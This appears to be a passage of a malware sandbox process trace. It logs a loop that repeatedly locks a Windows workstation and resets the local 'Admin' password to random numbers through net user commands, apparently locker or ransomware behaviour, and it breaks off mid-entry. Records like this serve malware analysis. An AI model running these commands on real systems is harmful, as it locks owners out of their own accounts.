C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:3568

C:\Windows\System32\net.exe
net user Admin 154727410
3⤵
PID:1604

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 154727410
4⤵
PID:1232

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:1244

C:\Windows\System32\net.exe
net user Admin 150839731
3⤵
PID:1520

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 150839731
4⤵
PID:2120

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:1516

C:\Windows\System32\net.exe
net user Admin 371627287
3⤵
PID:1900

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 371627287
4⤵
PID:2836

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:8

C:\Windows\System32\net.exe
net user Admin 736523924
3⤵
PID:2924

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 736523924
4⤵
PID:2896

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:2748

C:\Windows\System32\net.exe
net user Admin 2212614430
3⤵
PID:980

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 2212614430
4⤵
PID:3576

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:2800

C:\Windows\System32\net.exe
net user Admin 292254963
3⤵
PID:3616

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 292254963
4⤵
PID:3108

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:3676

C:\Windows\System32\net.exe
net user Admin 1525430793
3⤵
PID:3632

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 1525430793
4⤵
PID:1828

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:1920

C:\Windows\System32\net.exe
net user Admin 223986759
3⤵
PID:2820

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 223986759
4⤵
PID:1916

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:3928

C:\Windows\System32\net.exe
net user Admin 37797767
3⤵
PID:356

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 37797767
4⤵
PID:4064

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:2360

C:\Windows\System32\net.exe
net user Admin 3221130753
3⤵
PID:3448

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 3221130753
4⤵
PID:1752

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:3116

C:\Windows\System32\net.exe
net user Admin 1347523499
3⤵
PID:1644

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 1347523499
4⤵
PID:2136

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:3580

C:\Windows\System32\net.exe
net user Admin 2955923420
3⤵
PID:4052

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 2955923420
4⤵
PID:1192

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:3804

C:\Windows\System32\net.exe
net user Admin 2125426507
3⤵
PID:1740

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 2125426507
4⤵
PID:3840

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:1188

C:\Windows\System32\net.exe
net user Admin 2323518482
3⤵
PID:3856

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 2323518482
4⤵
PID:3084

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:2660

C:\Windows\System32\net.exe
net user Admin 241389670
3⤵
PID:516

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 241389670
4⤵
PID:1196

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:2824

C:\Windows\System32\net.exe
net user Admin 8277059
3⤵
PID:3640

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 8277059
4⤵
PID:3076

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:60

C:\Windows\System32\net.exe
net user Admin 693429401
3⤵
PID:1652

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 693429401
4⤵
PID:832

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:3056

C:\Windows\System32\net.exe
net user Admin 635820098
3⤵
PID:800

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 635820098
4⤵
PID:708

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:2992

C:\Windows\System32\net.exe
net user Admin 267005492
3⤵
PID:360

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 267005492
4⤵
PID:1428

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:2056

C:\Windows\System32\net.exe
net user Admin 239616336
3⤵
PID:2272

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 239616336
4⤵
PID:3792

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:344

C:\Windows\System32\net.exe
net user Admin 259127160
3⤵
PID:3556

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 259127160
4⤵
PID:3128

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:420

C:\Windows\System32\net.exe
net user Admin 855422893
3⤵
PID:1324

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 855422893
4⤵
PID:1676

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:3524

C:\Windows\System32\net.exe
net user Admin 1844610532
3⤵
PID:1244

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 1844610532
4⤵
PID:2120

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:1520

C:\Windows\System32\net.exe
net user Admin 2768426827
3⤵
PID:1516

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 2768426827
4⤵
PID:2836

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:2840

C:\Windows\System32\net.exe
net user Admin 3086729681
3⤵
PID:3636

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 3086729681
4⤵
PID:3392

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:3048

C:\Windows\System32\net.exe
net user Admin 355914150
3⤵
PID:3732

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 355914150
4⤵
PID:2200

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:2964

C:\Windows\System32\net.exe
net user Admin 1717832442
3⤵
PID:3592

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 1717832442
4⤵
PID:2808

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:752

C:\Windows\System32\net.exe
net user Admin 248223985
3⤵
PID:1852

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 248223985
4⤵
PID:3168

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:3208

C:\Windows\System32\net.exe
net user Admin 1425818848
3⤵
PID:1916

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 1425818848
4⤵
PID:2820

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:4020

C:\Windows\System32\net.exe
net user Admin 3635723
3⤵
PID:3216

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 3635723
4⤵
PID:356

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:1812

C:\Windows\System32\net.exe
net user Admin 24621069
3⤵
PID:3140

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 24621069
4⤵
PID:2084

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:3852

C:\Windows\System32\net.exe
net user Admin 2889314882
3⤵
PID:3964

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 2889314882
4⤵
PID:3692

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:1312

C:\Windows\System32\net.exe
net user Admin 773568
3⤵
PID:1848

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 773568
4⤵
PID:1020

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:3804

C:\Windows\System32\net.exe
net user Admin 2438016334
3⤵
PID:3840

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 2438016334
4⤵
PID:1740

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:1188

C:\Windows\System32\net.exe
net user Admin 2481130728
3⤵
PID:3084

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 2481130728
4⤵
PID:3856

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:2660

C:\Windows\System32\net.exe
net user Admin 1498113825
3⤵
PID:1196

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 1498113825
4⤵
PID:516

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:68

C:\Windows\System32\net.exe
net user Admin 1110416828
3⤵
PID:680

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 1110416828
4⤵
PID:1180

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:1484

C:\Windows\System32\net.exe
net user Admin 2085018278
3⤵
PID:2744

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:64

C:\Windows\System32\net.exe
net user Admin 2405514825
3⤵
PID:1204

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 2405514825
4⤵
PID:868

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:1376

C:\Windows\System32\net.exe
net user Admin 2772421224
3⤵
PID:1060

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 2772421224
4⤵
PID:1548

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:3052

C:\Windows\System32\net.exe
net user Admin 2981825478
3⤵
PID:3976

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 2981825478
4⤵
PID:2328

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:3604

C:\Windows\System32\net.exe
net user Admin 243931212
3⤵
PID:2020

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 243931212
4⤵
PID:1728

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:3788

C:\Windows\System32\net.exe
net user Admin 1225227397
3⤵
PID:3660

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 1225227397
4⤵
PID:1648

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:3144

C:\Windows\System32\net.exe
net user Admin 5913161
3⤵
PID:3192

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 5913161
4⤵
PID:2944

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:1692

C:\Windows\System32\net.exe
net user Admin 1009517091
3⤵
PID:2336

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 1009517091
4⤵
PID:8

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:2140

C:\Windows\System32\net.exe
net user Admin 21436358
3⤵
PID:2896

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 21436358
4⤵
PID:2748

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:1900

C:\Windows\System32\net.exe
net user Admin 3131924226
3⤵
PID:2200

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 3131924226
4⤵
PID:3732

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:2964

C:\Windows\System32\net.exe
net user Admin 14304525
3⤵
PID:2808

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 14304525
4⤵
PID:3592

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:752

C:\Windows\System32\net.exe
net user Admin 1363121236
3⤵
PID:3632

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 1363121236
4⤵
PID:1828

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:3404

C:\Windows\System32\net.exe
net user Admin 19716880
3⤵
PID:2284

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 19716880
4⤵
PID:3720

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:4064

C:\Windows\System32\net.exe
net user Admin 1645923196
3⤵
PID:3928

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 1645923196
4⤵
PID:356

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:3780

C:\Windows\System32\net.exe
net user Admin 3141032705
3⤵
PID:1812

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 3141032705
4⤵
PID:2084

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:3140

C:\Windows\System32\net.exe
net user Admin 269572159
3⤵
PID:3852

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 269572159
4⤵
PID:3692

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:3964

C:\Windows\System32\net.exe
net user Admin 151029270
3⤵
PID:1312

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 151029270
4⤵
PID:1020

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:1848

C:\Windows\System32\net.exe
net user Admin 2412310209
3⤵
PID:3804

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 2412310209
4⤵
PID:1740

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:3840

C:\Windows\System32\net.exe
net user Admin 3268
3⤵
PID:1188

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 3268
4⤵
PID:3856

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:3084

C:\Windows\System32\net.exe
net user Admin 112334317
3⤵
PID:2660

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 112334317
4⤵
PID:516

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:924

C:\Windows\System32\net.exe
net user Admin 989225227
3⤵
PID:4024

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 989225227
4⤵
PID:60

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:680

C:\Windows\System32\net.exe
net user Admin 533129428
3⤵
PID:620

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 533129428
4⤵
PID:3056

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:2744

C:\Windows\System32\net.exe
net user Admin 1762126835
3⤵
PID:708

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 1762126835
4⤵
PID:2992

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:800

C:\Windows\System32\net.exe
net user Admin 2167023482
3⤵
PID:2344

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 2167023482
4⤵
PID:3516

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:1976

C:\Windows\System32\net.exe
net user Admin 1255021237
3⤵
PID:1724

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 1255021237
4⤵
PID:2264

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:3376

C:\Windows\System32\net.exe
net user Admin 905531853
3⤵
PID:2632

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 905531853
4⤵
PID:420

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:3556

C:\Windows\System32\net.exe
net user Admin 295825533
3⤵
PID:1676

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 295825533
4⤵
PID:1604

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:2940

C:\Windows\System32\net.exe
net user Admin 337229400
3⤵
PID:2120

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 337229400
4⤵
PID:3068

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:1244

C:\Windows\System32\net.exe
net user Admin 297224335
3⤵
PID:2836

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 297224335
4⤵
PID:2492

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:1680

C:\Windows\System32\net.exe
net user Admin 292666519
3⤵
PID:1444

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 292666519
4⤵
PID:3048

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:3636

C:\Windows\System32\net.exe
net user Admin 1056829831
3⤵
PID:2976

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 1056829831
4⤵
PID:1380

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:3576

C:\Windows\System32\net.exe
net user Admin 172558924
3⤵
PID:3132

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 172558924
4⤵
PID:2012

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:3592

C:\Windows\System32\net.exe
net user Admin 1803325413
3⤵
PID:2808

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 1803325413
4⤵
PID:752

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:1828

C:\Windows\System32\net.exe
net user Admin 199051105
3⤵
PID:3632

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 199051105
4⤵
PID:3404

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:3720

C:\Windows\System32\net.exe
net user Admin 506119561
3⤵
PID:2284

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 506119561
4⤵
PID:4064

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:3060

C:\Windows\System32\net.exe
net user Admin 1131029631
3⤵
PID:1632

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 1131029631
4⤵
PID:1752

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:1708

C:\Windows\System32\net.exe
net user Admin 732618108
3⤵
PID:3116

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 732618108
4⤵
PID:2136

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:3028

C:\Windows\System32\net.exe
net user Admin 1226131951
3⤵
PID:1252

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 1226131951
4⤵
PID:1272

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:4052

C:\Windows\System32\net.exe
net user Admin 1428367
3⤵
PID:1312

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 1428367
4⤵
PID:2568

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:2408

C:\Windows\System32\net.exe
net user Admin 2194929006
3⤵
PID:3784

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 2194929006
4⤵
PID:660

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:3808

C:\Windows\System32\net.exe
net user Admin 1221831367
3⤵
PID:1188

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 1221831367
4⤵
PID:3120

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:2824

C:\Windows\System32\net.exe
net user Admin 706914550
3⤵
PID:4016

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 706914550
4⤵
PID:1196

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:3960

C:\Windows\System32\net.exe
net user Admin 43329689
3⤵
PID:4024

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 43329689
4⤵
PID:1180

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:716

C:\Windows\System32\net.exe
net user Admin 1899617323
3⤵
PID:396

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 1899617323
4⤵
PID:604

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:868

C:\Windows\System32\net.exe
net user Admin 1328323763
3⤵
PID:3972

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 1328323763
4⤵
PID:3920

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:1548

C:\Windows\System32\net.exe
net user Admin 17709443
3⤵
PID:2056

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 17709443
4⤵
PID:3792

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:2328

C:\Windows\System32\net.exe
net user Admin 548618140
3⤵
PID:344

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 548618140
4⤵
PID:2996

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:1728

C:\Windows\System32\net.exe
net user Admin 169186090
3⤵
PID:1352

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 169186090
4⤵
PID:2020

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:3524

C:\Windows\System32\net.exe
net user Admin 78655948
3⤵
PID:3788

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 78655948
4⤵
PID:3660

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:1520

C:\Windows\System32\net.exe
net user Admin 2187329828
3⤵
PID:1876

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 2187329828
4⤵
PID:3192

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:2560

C:\Windows\System32\net.exe
net user Admin 2237418143
3⤵
PID:2840

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 2237418143
4⤵
PID:2336

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:1756

C:\Windows\System32\net.exe
net user Admin 2631522516
3⤵
PID:3948

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 2631522516
4⤵
PID:2896

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:2988

C:\Windows\System32\net.exe
net user Admin 322236997
3⤵
PID:1900

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 322236997
4⤵
PID:2200

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:3004

C:\Windows\System32\net.exe
net user Admin 25340733
3⤵
PID:3616

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 25340733
4⤵
PID:3108

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:1920

C:\Windows\System32\net.exe
net user Admin 312117966
3⤵
PID:900

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 312117966
4⤵
PID:3552

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:1916

C:\Windows\System32\net.exe
net user Admin 950213383
3⤵
PID:3208

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 950213383
4⤵
PID:1216

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:3216

C:\Windows\System32\net.exe
net user Admin 2393628453
3⤵
PID:1284

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 2393628453
4⤵
PID:1304

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:3780

C:\Windows\System32\net.exe
net user Admin 7673805
3⤵
PID:2400

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 7673805
4⤵
PID:2332

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:3140

C:\Windows\System32\net.exe
net user Admin 26585394
3⤵
PID:1624

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 26585394
4⤵
PID:3580

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:3964

C:\Windows\System32\net.exe
net user Admin 403131540
3⤵
PID:1192

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 403131540
4⤵
PID:2456

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:1848

C:\Windows\System32\net.exe
net user Admin 1607118852
3⤵
PID:3880

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 1607118852
4⤵
PID:3860

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:3840

C:\Windows\System32\net.exe
net user Admin 12794294
3⤵
PID:1048

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 12794294
4⤵
PID:652

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:3084

C:\Windows\System32\net.exe
net user Admin 2106823879
3⤵
PID:372

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 2106823879
4⤵
PID:952

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:924

C:\Windows\System32\net.exe
net user Admin 2093016896
3⤵
PID:1012

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 2093016896
4⤵
PID:1508

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:680

C:\Windows\System32\net.exe
net user Admin 778232578
3⤵
PID:832

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 778232578
4⤵
PID:3056

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:576

C:\Windows\System32\net.exe
net user Admin 1694712737
3⤵
PID:3988

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 1694712737
4⤵
PID:64

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:1204

C:\Windows\System32\net.exe
net user Admin 1616913100
3⤵
PID:1428

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 1616913100
4⤵
PID:1376

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:1060

C:\Windows\System32\net.exe
net user Admin 1257423876
3⤵
PID:2288

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 1257423876
4⤵
PID:2264

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:3976

C:\Windows\System32\net.exe
net user Admin 283215969
3⤵
PID:3128

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 283215969
4⤵
PID:3604

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:3540

C:\Windows\System32\net.exe
net user Admin 133114967
3⤵
PID:420

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 133114967
4⤵
PID:1604

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:1324

C:\Windows\System32\net.exe
net user Admin 1013314919
3⤵
PID:3680

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 1013314919
4⤵
PID:3068

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:2196

C:\Windows\System32\net.exe
net user Admin 849510605
3⤵
PID:2180

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 849510605
4⤵
PID:2492

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:1516

C:\Windows\System32\net.exe
net user Admin 194557126
3⤵
PID:3392

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 194557126
4⤵
PID:3048

C:\Windows\System32\rundll32.exe
